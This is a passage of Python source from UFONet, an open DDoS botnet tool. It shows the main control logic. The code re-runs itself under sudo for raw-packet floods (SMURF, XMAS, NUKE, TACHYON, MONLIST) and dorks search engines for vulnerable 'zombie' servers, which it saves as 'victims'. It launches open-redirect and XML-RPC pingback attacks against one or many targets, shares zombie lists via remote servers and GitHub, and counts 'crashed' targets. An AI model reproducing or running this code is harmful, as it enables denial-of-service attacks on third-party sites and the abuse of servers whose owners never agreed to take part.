*args)                except:                    pass # keep running, but SMURF will fail        # check EUID when running XMAS (root required)        if options.xmas:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running, but XMAS will fail        # check EUID when running NUKE (root required)        if options.nuke:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running, but NUKE will fail        # check EUID when running TACHYON (root required)        if options.tachyon:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running, but TACHYON will fail        # check EUID when running MONLIST (root required)        if options.monlist:            euid = self.checkeuid()            if euid != 0:                print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")                try:                    args = ['sudo', sys.executable] + sys.argv + [os.environ]                    os.execlpe('sudo', *args)                except:                    pass # keep running, but MONLIST will fail        # search for [Zombies] on search engines results (dorking)        if options.search:            zombies = []            if options.engine:                engine = options.engine            else:                engine = "duck" # default search engine            try:                self.banner()                if not os.path.exists(self.humans_file) == True:                    f = open(self.humans_file, 'w')                    f.close()                lf = open(self.humans_file, 'r')                restored = lf.readlines()                zombies_restored = len(restored)                lf.close()                lz = open(self.zombies_file, 'r')                zombies_army = lz.readlines()                for zombie in zombies_army:                    zombies.append(zombie) # add zombies from army to the zombies pool                lz.close()                if len(restored) > 0:                    print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")                    if not self.options.forceyes:                        backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")                        print('-'*25)                    else:                        backup_reply = "Y"                    if backup_reply == "n" or backup_reply == "N":                        print("\n[Info] [AI] Removing data stored and starting a new search...\n")                        os.remove(self.humans_file)                        zombies_restored = 0 # flush zombies restored                        print('-'*25 + "\n")                    else:                        print("\n[Info] [AI] Restoring data and starting a new search...\n")                        print('-'*25 + "\n")                        for zombie in restored:                            zombies.append(zombie) # add previous data to zombies pool                if options.allengines:                    if options.ex_engine: # exclude some search engines manually                        exclude = options.ex_engine.split(",")                        for ex in exclude:                            ex = ex.lower()                            if ex in self.search_engines:                                if len(self.search_engines) == 1: # at least one should make it                                    pass                                else:                                    self.search_engines.remove(ex)                    for e in self.search_engines:                        engine = e                        print('='*44)                        print(("\n[AI] Searching for zombies using: "+engine+'\n'))                        print('='*44 + '\n')                        self.options.engine = engine                        try:                            zombies_chain = self.search_zombies(dork='', zombies_found=zombies)                            if zombies_chain != None:                                for zombie in zombies_chain:                                    if zombie not in zombies: # evade possible repetitions                                        zombies.append(zombie)                        except:                            if zombies: # backup all new zombies found to file in case of exception                                for zombie in zombies:                                    if zombie+os.linesep not in restored: # only append new zombies found                                        with open(self.humans_file, "a") as f:                                            f.write(str(zombie+os.linesep))                else:                    if restored:                        print('='*44)                    print(("\n[AI] Searching for zombies using: "+engine+"\n"))                    print('='*44 + '\n')                    if restored: # from restored file                        try:                            zombies_chain = self.search_zombies(dork='', zombies_found=zombies)                            if zombies_chain != None:                                for zombie in zombies_chain:                                    if zombie not in zombies: # evade possible repetitions                                        zombies.append(zombie)                        except:                            if zombies: # backup all new zombies found to file in case of exception                                for zombie in zombies:                                    if zombie+os.linesep not in restored: # only append new zombies found                                        with open(self.humans_file, "a") as f:                                            f.write(str(zombie+os.linesep))                    else:                        try:                            zombies = self.search_zombies(dork='', zombies_found=zombies)                        except:                            if zombies: # backup all new zombies found to file in case of exception                                for zombie in zombies:                                    if zombie+os.linesep not in restored: # only append new zombies found                                        with open(self.humans_file, "a") as f:                                            f.write(str(zombie+os.linesep))                total_restored = zombies_restored                new_zombies = 0 # new zombies counter                f = open(self.zombies_file, 'r')                zz = f.readlines()                f.close()                zombies_found = []                for z in zombies:                    if z.endswith(os.linesep):                        z = z.replace(os.linesep, "")                    if z not in zz and z+os.linesep not in zz:                        new_zombies = new_zombies + 1                        zombies_found.append(z)                print('='*62)                print("\n- Victims found:", len(zombies_found), "\n")                print("    - Restored:", total_restored)                print("    - Dorked:", abs(len(zombies_found) - total_restored), "\n")                print('-'*32)                print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")                print('='*62 + '\n')                if len(zombies) > 0:                    if not self.options.forceyes:                        check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")                        print('-'*25)                    else:                        check_backup_reply = "Y"                    if check_backup_reply == "n" or check_backup_reply == "N":                        if os.path.isfile(self.humans_file):                             os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)                        print("\n[Info] [AI] Temporal data correctly removed...\n")                    else:                        with open(self.humans_file, "w") as f:                            for z in zombies_found:                                if z.endswith(os.linesep):                                    z = z.replace(os.linesep, "")                                if z not in zz or z+os.linesep not in zz:                                    f.write(z+os.linesep)                        f.close()                        print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")                    print('-'*25 + "\n")                if new_zombies and new_zombies > 0:                    if not self.options.forceyes:                        check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")                        print('-'*25 + "\n")                    else:                        check_url_link_reply = "Y"                    if check_url_link_reply == "n" or check_url_link_reply == "N":                        print("[AI] "+self.exit_msg+"\n")                        pass                    else:                        print("\n" + '='*44)                        test = self.testing(zombies_found)                else:                    print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")            except Exception:                print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))        # search for [Zombies] from a list of [Dorks]        if options.dorks:            if options.engine:                engine = options.engine            else:                engine = "duck" # default search engine            try:                dorks = self.extract_dorks()                if not dorks:                    return                zombies = []                self.banner()                if not os.path.exists(self.humans_file) == True:                    f = open(self.humans_file, 'w')                    f.close()                lf = open(self.humans_file, 'r')                restored = lf.readlines()                zombies_restored = len(restored)                lf.close()                lz = open(self.zombies_file, 'r')                zombies_army = lz.readlines()                for zombie in zombies_army:                    zombies.append(zombie) # add zombies from army to the zombies pool                lz.close()                if len(restored) > 0:                    print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")                    if not self.options.forceyes:                        backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")                        print('-'*25)                    else:                        backup_reply = "Y"                    if backup_reply == "n" or backup_reply == "N":                        print("\n[Info] [AI] Removing data stored and starting a new search...\n")                        os.remove(self.humans_file)                        zombies_restored = 0 # flush zombies restored                        print('-'*25 + "\n")                    else:                        print("\n[Info] [AI] Restoring data and starting a new search...\n")                        print('-'*25 + "\n")                        for zombie in restored:                            zombies.append(zombie) # add previous data to zombies pool                total_restored = zombies_restored                if options.allengines:                    if options.ex_engine: # exclude some search engines manually                        exclude = options.ex_engine.split(",")                        for ex in exclude:                            ex = ex.lower()                            if ex in self.search_engines:                                if len(self.search_engines) == 1: # at least one should make it                                    pass                                else:                                    self.search_engines.remove(ex)                    for e in self.search_engines:                        engine = e                        print('='*44)                        print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))                        print('='*44 + '\n')                        self.options.engine = engine                        for dork in dorks:                            print('='*22)                            print("Dork:", dork)                            print('='*22 + '\n')                            try:                                dorked_zombies = self.search_zombies(dork, zombies) # AI mode                                for zombie in dorked_zombies:                                    if zombie not in zombies: # evade repetitions for zombies found                                        zombies.append(zombie)                                        if zombie+os.linesep not in restored: # only append new zombies found                                            with open(self.humans_file, "a") as f:                                                f.write(str(zombie+os.linesep))                                            f.close()                            except:                                if zombies: # backup new zombies found on exception                                    for zombie in zombies:                                        if zombie+os.linesep not in restored: # only append new zombies found                                            with open(self.humans_file, "a") as f:                                                f.write(str(zombie+os.linesep))                                            f.close()                else:                    if restored:                        print('='*44)                    print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))                    print('='*44 + '\n')                    for dork in dorks:                        print('='*22)                        print("Dork:", dork)                        print('='*22 + '\n')                        try:                            dorked_zombies = self.search_zombies(dork, zombies) # AI mode                            if dorked_zombies != None:                                for zombie in dorked_zombies:                                    if zombie not in zombies: # evade repetitions for zombies found                                        zombies.append(zombie)                        except:                            if zombies: # backup new zombies found on exception                                for zombie in zombies:                                    if zombie+os.linesep not in restored: # only append new zombies found                                        with open(self.humans_file, "a") as f:                                            f.write(str(zombie+os.linesep))                                        f.close()                new_zombies = 0 # new zombies counter                f = open(self.zombies_file, 'r')                zz = f.readlines()                f.close()                zombies_found = []                for z in zombies:                    if z.endswith(os.linesep):                        z = z.replace(os.linesep, "")                    if z not in zz and z+os.linesep not in zz:                        new_zombies = new_zombies + 1                        zombies_found.append(z)                print('='*62)                print("\n- Victims found:", len(zombies_found), "\n")                print("    - Restored:", total_restored)                print("    - Dorked:", len(zombies_found) - total_restored, "\n")                print('-'*32)                print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")                print('='*62 + '\n')                if len(zombies_found) > 0:                    if not self.options.forceyes:                        check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")                        print('-'*25)                    else:                        check_backup_reply = "Y"                    if check_backup_reply == "n" or check_backup_reply == "N":                        if os.path.isfile(self.humans_file):                            os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)                        print("\n[Info] [AI] Temporal data correctly removed...\n")                    else:                        with open(self.humans_file, "w") as f:                            for z in zombies_found:                                if z.endswith(os.linesep):                                    z = z.replace(os.linesep, "")                                if z not in zz or z+os.linesep not in zz:                                    f.write(z+os.linesep)                        f.close()                        print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")                    print('-'*25 + "\n")                if new_zombies and new_zombies > 0:                    if not self.options.forceyes:                        check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")                        print('-'*25 + "\n")                    else:                        check_url_link_reply = "Y"                    if check_url_link_reply == "n" or check_url_link_reply == "N":                        print("[AI] "+self.exit_msg+"\n")                        pass                    else:                        print("\n" + '='*44)                        test = self.testing(zombies_found)                else:                    print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")            except Exception:                print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))        # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)        if options.autosearch:            try:                dorks = self.extract_dorks()            except:                print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")                return            engines_list = self.search_engines            stop_flag = False # use a flag to establish an end            try:                self.banner()                print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")                 print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")                print('-'*25 + "\n")                zombies_found = []                lz = open(self.zombies_file, 'r')                zombies_army = lz.readlines()                for zombie in zombies_army:                    zombies_found.append(zombie) # add zombies from army to the zombies found pool                lz.close()                if not os.path.exists(self.humans_file) == True:                    f = open(self.humans_file, 'w')                    f.close()                lf = open(self.humans_file, 'r')                restored = lf.readlines()                zombies_restored = len(restored)                lf.close()                if len(restored) > 0:                     print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")                    if not self.options.forceyes:                        backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")                        print('-'*25)                    else:                        backup_reply = "Y"                    if backup_reply == "n" or backup_reply == "N":                        print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")                        os.remove(self.humans_file)                        zombies_restored = 0 # flush zombies restored                        print('-'*25 + "\n")                    else:                        print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")                        print('-'*25 + "\n")                        for zombie in restored:                            zombies_found.append(zombie) # add previous data to zombies found pool                total_restored = zombies_restored                while stop_flag == False:                    if not os.path.exists(self.humans_file) == True:                        f = open(self.humans_file, 'w')                        f.close()                    lf = open(self.humans_file, 'r') # read it on each iteration to update changes                    restored = lf.readlines()                    lf.close()                    zombies_restored = len(restored)                    for e in engines_list:                        zombies_counter = 0 # use it also as (engine) flag                        engine = e                        self.options.engine = engine                        print('='*44 + '\n')                        print(("[AI] Searching for zombies using: "+engine+'\n'))                        print('='*44 + '\n')                        for dork in dorks:                            print('='*22)                            print("Dork:", dork)                            print('='*22 + '\n')                            try:                                dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode                                for zombie in dorked_zombies:                                    if zombie not in zombies_found: # evade repetitions for zombies found                                        zombies_found.append(zombie)                                        if zombie+os.linesep not in restored: # only append new zombies found                                            with open(self.humans_file, "a") as f:                                                f.write(str(zombie+os.linesep))                                            f.close()                                        zombies_counter = zombies_counter + 1                            except:                                if zombies_found: # backup new zombies found on exception                                    for zombie in zombies_found:                                        if zombie+os.linesep not in restored: # only append new zombies found                                            with open(self.humans_file, "a") as f:                                                f.write(str(zombie+os.linesep))                                            f.close()                        if zombies_counter == 0:                            print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")                            print('-'*25 + "\n")                            engines_list.remove(engine) # remove not more results engine from search engines list                            if not engines_list: # if search engines empty, call return-exit routine                                print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")                                print('-'*25 + "\n")                                stop_flag = True # exit flag up                new_zombies = 0 # new zombies counter                f = open(self.zombies_file, 'r')                zz = f.readlines()                f.close()                all_zombies_found = []                for z in zombies_found:                    if z.endswith(os.linesep):                        z = z.replace(os.linesep, "")                    if z not in zz and z+os.linesep not in zz:                        new_zombies = new_zombies + 1                        all_zombies_found.append(z)                print('='*62)                print("\n- Victims found:", len(all_zombies_found), "\n")                print("    - Restored:", total_restored)                print("    - Dorked:", len(all_zombies_found) - total_restored, "\n")                print('-'*32)                print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")                print('='*62 + '\n')                if len(zombies_found) > 0:                    if not self.options.forceyes:                        check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")                        print('-'*25)                    else:                        check_backup_reply = "Y"                    if check_backup_reply == "n" or check_backup_reply == "N":                        if os.path.isfile(self.humans_file):                            os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)                        print("\n[Info] [AI] Temporal data correctly removed...\n")                    else:                        with open(self.humans_file, "w") as f:                            for z in all_zombies_found:                                if z.endswith(os.linesep):                                    z = z.replace(os.linesep, "")                                if z not in zz or z+os.linesep not in zz:                                    f.write(z+os.linesep)                        f.close()                        print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")                    print('-'*25 + "\n")                if new_zombies and new_zombies > 0:                    if not self.options.forceyes:                        check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")                        print('-'*25 + "\n")                    else:                        check_url_link_reply = "Y"                    if check_url_link_reply == "n" or check_url_link_reply == "N":                        print("[AI] "+self.exit_msg+"\n")                        pass                    else:                        print("\n" + '='*44)                        test = self.testing(all_zombies_found)                else:                    print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")            except Exception:                print ("[Error] [AI] Something wrong (auto)searching...\n")        # test web 'zombie' servers -> show statistics        if options.test:             try:                self.banner()                zombies = self.extract_zombies()                if not zombies:                    return                test = self.testing(zombies)                self.update_missions_stats() # update mothership missions stats            except Exception:                print ("\n[Error] [AI] Something wrong testing!\n")                if self.options.verbose:                    traceback.print_exc()        # test XML-'rpc' pingback vulnerable servers -> update list        if options.testrpc:            try:                self.banner()                rpcs = self.extract_rpcs()                if not rpcs:                    return                testrpc = self.testing_rpcs(rpcs)                self.update_missions_stats() # update mothership missions stats            except Exception:                print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")                if self.options.verbose:                    traceback.print_exc()        # check botnet searching for zombies offline        if options.testoffline:            try:                self.banner()                testbotnet = self.testing_offline()                self.update_missions_stats() # update mothership missions stats            except Exception:                print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")                if self.options.verbose:                    traceback.print_exc()        # check ALL botnet status        if options.testall:            try:                self.banner()                test_all_botnet = self.testing_all()                self.update_missions_stats() # update mothership missions stats            except Exception:                print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")                if self.options.verbose:                    traceback.print_exc()        # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target        if options.target:            try:                self.banner()                zombies = self.extract_zombies()                if not zombies:                    return                attack = self.attacking(zombies, options.target)                self.update_missions_stats() # update mothership missions stats            except Exception:                print ("\n[Error] [AI] Something wrong attacking!\n")                if self.options.verbose:                    traceback.print_exc()        # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets        if options.target_list:            try:                self.banner()                zombies = self.extract_zombies()                if not zombies:                    return                targets = self.extract_target_list()                if not targets:                    print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")                    return                self.options.forceyes = True # force-yes ON!                self.num_target_list = 0                print("\n[AI] Checking integrity of targets...\n")                for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]                    if not t.startswith("http"): # discarded inmediately                        print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")                        targets.remove(t) # ¿remove? invalid targets                print("")                c = 0                for target in targets:                    if target == "":                        c = c + 1                    else:                        self.num_target_list = self.num_target_list + 1                if c == len(targets):                    print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")                    return # end of code block dedicated to: Guido van Rossum [23/12/2018]                else:                    for target in targets:                        print('='*55 + "\n")                        print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")                        print("="*55)                        self.options.target = target                        attack = self.attacking(zombies, target)                        self.update_missions_stats() # update mothership missions stats (each target counts)            except Exception:                print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")                if self.options.verbose:                    traceback.print_exc()        # inspect target -> inspect target's components sizes        if options.inspect:            try:                self.banner()                print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")                print('='*22 + '\n')                self.instance = Inspector(self) # instance main class for inspection operations                inspection = self.instance.inspecting(options.inspect)                self.update_missions_stats() # update mothership missions stats            except Exception as e:                print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")                if self.options.verbose:                    traceback.print_exc()                return #sys.exit(2)        # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)        if options.abduction:            try:                self.banner()                print("\n[AI] Abducting target to extract interesting information... Be patient!\n")                print('='*22 + '\n')                self.instance = Abductor(self) # instance main class for abduction operations                abduction = self.instance.abducting(options.abduction)                self.update_missions_stats() # update mothership missions stats            except Exception as e:                print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")                if self.options.verbose:                    traceback.print_exc()                return #sys.exit(2)        # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking        if options.attackme:            self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)            try:                self.banner()                print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")                print("[Warning] You are going to reveal your real IP to [Zombies]!\n")                if not self.options.forceyes:                    update_reply = input("[AI] Do you want to continue? (Y/n)")                else:                    update_reply = "Y"                if update_reply == "n" or update_reply == "N":                    print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")                    return                self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash                  print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)                print("\n[AI] Checking NAT/IP configuration:\n")                nat = self.check_nat()                f = open("alien", "w") # generate random alien worker                f.write(str(self.mothership_hash))                f.close()                if self.nat_error_flag == "ON":                    return                zombies = self.extract_zombies()                if not zombies:                    return                attackme = self.attackme(zombies)                self.update_missions_stats() # update mothership missions stats            except Exception as e:                print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")                if self.options.verbose:                    traceback.print_exc()                return #sys.exit(2)        # check/update for latest stable version        if options.update:            self.banner()            try:                print("\n[AI] Trying to update automatically to the latest stable version\n")                Updater()             except:                print("Not any .git repository found!\n")                print("="*30)                print("\nTo have working this feature, you should clone UFONet with:\n")                print("$ git clone %s" % self.GIT_REPOSITORY)                print("\nAlso you can try this other mirror:\n")                print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")        # launch GUI/Web interface        if options.web:            self.create_web_interface()            return        # generate [Blackhole] server to share [Zombies]        if options.blackhole is not None:            self.banner()            try:                blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib                sys.path.append(blackhole_lib)                from core.tools.blackhole import BlackHole                print("\n[AI] Initiating void generation sequence...\n")                print('='*22 + '\n')                app = BlackHole()                app.start()                while True: time.sleep(1)            except KeyboardInterrupt:                print("\n[AI] Terminating void generation sequence...\n")                app.collapse()            except Exception as e:                print("[Error] "+str(e))                 print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")        # create [Griger] server to share [Stats/Wargames/Messages]        if options.grider is not None:            self.banner()            try:                grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib                sys.path.append(grider_lib)                from core.tools.grider import Grider                print("\n[AI] Initiating void generation sequence...\n")                print('='*22 + '\n')                app = Grider()                app.start()                while True: time.sleep(1)            except KeyboardInterrupt:                print("\n[AI] Terminating void generation sequence...\n")                app.collapse()            except Exception as e:                print("[Error] "+str(e))                print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")        # download list of [Zombies] from a [Blackhole] IP        if options.dip is not None:            options.download = True            self.blackhole = options.dip        # upload list of [Zombies] to a [Blackhole] IP        if options.upip is not None:            options.upload = True            self.blackhole = options.upip        # download list of [Zombies] from Community server [20/01/2020 OK!]        if options.download:            try:                self.banner()                if options.dip is not None:                    print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))                else:                    print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")                print('='*22 + '\n')                download_list = self.downloading_list()            except Exception as e:                print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")                return        # upload list of [Zombies] to Community server [20/01/2020 OK!]        if options.upload:            try:                self.banner()                if options.upip is not None:                    print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))                else:                    print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")                print('='*22 + '\n')                upload_list = self.uploading_list()            except Exception as e:                print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))                if self.options.verbose:                    traceback.print_exc()                return #sys.exit(2)        # download list of [Zombies] from GitHub server [20/01/2020 OK!]        if options.download_github:            try:                self.banner()                print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")                print('='*22 + '\n')                download_github_list = self.downloading_github_list()            except Exception as e:                print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")                return        # upload list of [Zombies] to GitHub server [20/01/2020 OK!]        if options.upload_github:            try:                self.banner()                print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")                print('='*22 + '\n')                upload_github_list = self.uploading_github_list()            except Exception as e:                print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))                if self.options.verbose:                    traceback.print_exc()                return #sys.exit(2)    # starting new zombie thread    def connect_zombies(self, zombie):        z=Zombie(self, zombie)        t = threading.Thread(target=z.connect, name=zombie)        t.start()    # single connection handling    def connect_zombie(self, zombie):        z=Zombie(self,zombie)        return z.connect()    def extract_proxy(self, proxy):        sep = ":"        proxy_ip = proxy.rsplit(sep, 1)[0]        if proxy_ip.startswith('http://'):            proxy_ip = proxy_ip.replace('http://', '')        elif proxy_ip.startswith('https://'):            proxy_ip = proxy_ip.replace('https://', '')        if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)            proxy_ip = 'localhost'        proxy_port = proxy.rsplit(sep, 1)[1]        proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118        return proxy_url    def proxy_transport(self, proxy):        proxy_url = self.extract_proxy(proxy)        proxy = urllib.request.ProxyHandler({'https': proxy_url})        opener = urllib.request.build_opener(proxy)        urllib.request.install_opener(opener)    def check_mothership_chargo(self):        f = open(self.zombies_file)        self.zombies = f.readlines()        self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]        self.list_zombies = []        for zombie in self.zombies:            t = urlparse(zombie)            name_zombie = t.netloc            if name_zombie == "":                name_zombie = zombie            self.list_zombies.append(name_zombie)        self.num_zombies = str(len(self.zombies))        f.close()        f = open(self.aliens_file)        self.aliens = f.readlines()        self.aliens = [alien.replace('\n', '') for alien in self.aliens]        self.list_aliens = []        for alien in self.aliens:            t = urlparse(alien)            name_alien = t.netloc            if name_alien == "":                name_alien = alien            self.list_aliens.append(name_alien)        self.num_aliens = str(len(self.aliens))        f.close()        f = open(self.droids_file)        self.droids = f.readlines()        self.droids = [droid.replace('\n', '') for droid in self.droids]        self.list_droids = []        for droid in self.droids:            t = urlparse(droid)            name_droid = t.netloc            if name_droid == "":                name_droid = droid            self.list_droids.append(name_droid)        self.num_droids = str(len(self.droids))        f.close()        f = open(self.ucavs_file)        self.ucavs = f.readlines()        self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]        self.list_ucavs = []        for ucav in self.ucavs:            t = urlparse(ucav)            name_ucav = t.netloc            if name_ucav == "":                name_ucav = ucav            self.list_ucavs.append(name_ucav)        self.num_ucavs = str(len(self.ucavs))        f.close()        f = open(self.rpcs_file)        self.rpcs = f.readlines()        self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]        self.list_rpcs = []        for rpc in self.rpcs:            t = urlparse(rpc)            name_rpc = t.netloc            if name_rpc == "":                name_rpc = rpc            self.list_rpcs.append(name_rpc)        self.num_rpcs = str(len(self.rpcs))        f.close()        self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))        return self.total_botnet    def update_flying_stats(self):        if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)            with open(self.mothership_stats_file, "w") as f:                json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "crashed": "0"}, f, indent=4) # starting reset        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        aflying = data["flying"]        aflying = str(int(aflying) + 1) # add new flying time        data["flying"] = aflying        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_mothership_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        acompleted = data["completed"]        acompleted = str(int(acompleted) + 1) # add new completed attack        data["completed"] = acompleted        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_targets_crashed(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        tcrashed = data["crashed"]        tcrashed = str(int(tcrashed) + 1) # add new crashed target        data["crashed"] = tcrashed        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_missions_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        missions = data["missions"]        missions = str(int(missions) + 1) # add new mission target        data["missions"] = missions        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_scanner_stats(self, num):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        scanner = data["scanner"]        scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats        data["scanner"] = scanner        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_transferred_stats(self, num):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        transferred = data["transferred"]        transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats        data["transferred"] = transferred        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_max_chargo(self, chargo):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        amax_chargo = data["max_chargo"]        if int(chargo) > int(amax_chargo): # new max chargo found            amax_chargo = chargo # add new max chargo        else:            amax_chargo = data["max_chargo"]        data["max_chargo"] = amax_chargo        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_loic_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        aloic = data["loic"]        aloic = str(int(aloic) + 1) # add new loic attack to recorded stats        self.total_loic = self.total_loic + 1 # add new loic attack to session stats        data["loic"] = aloic        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_loris_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        aloris = data["loris"]        aloris = str(int(aloris) + 1) # add new loris attack to recorded stats        self.total_loris = self.total_loris + 1 # add new loris attack to session stats        data["loris"] = aloris        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_ufosyn_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        aufosyn = data["ufosyn"]   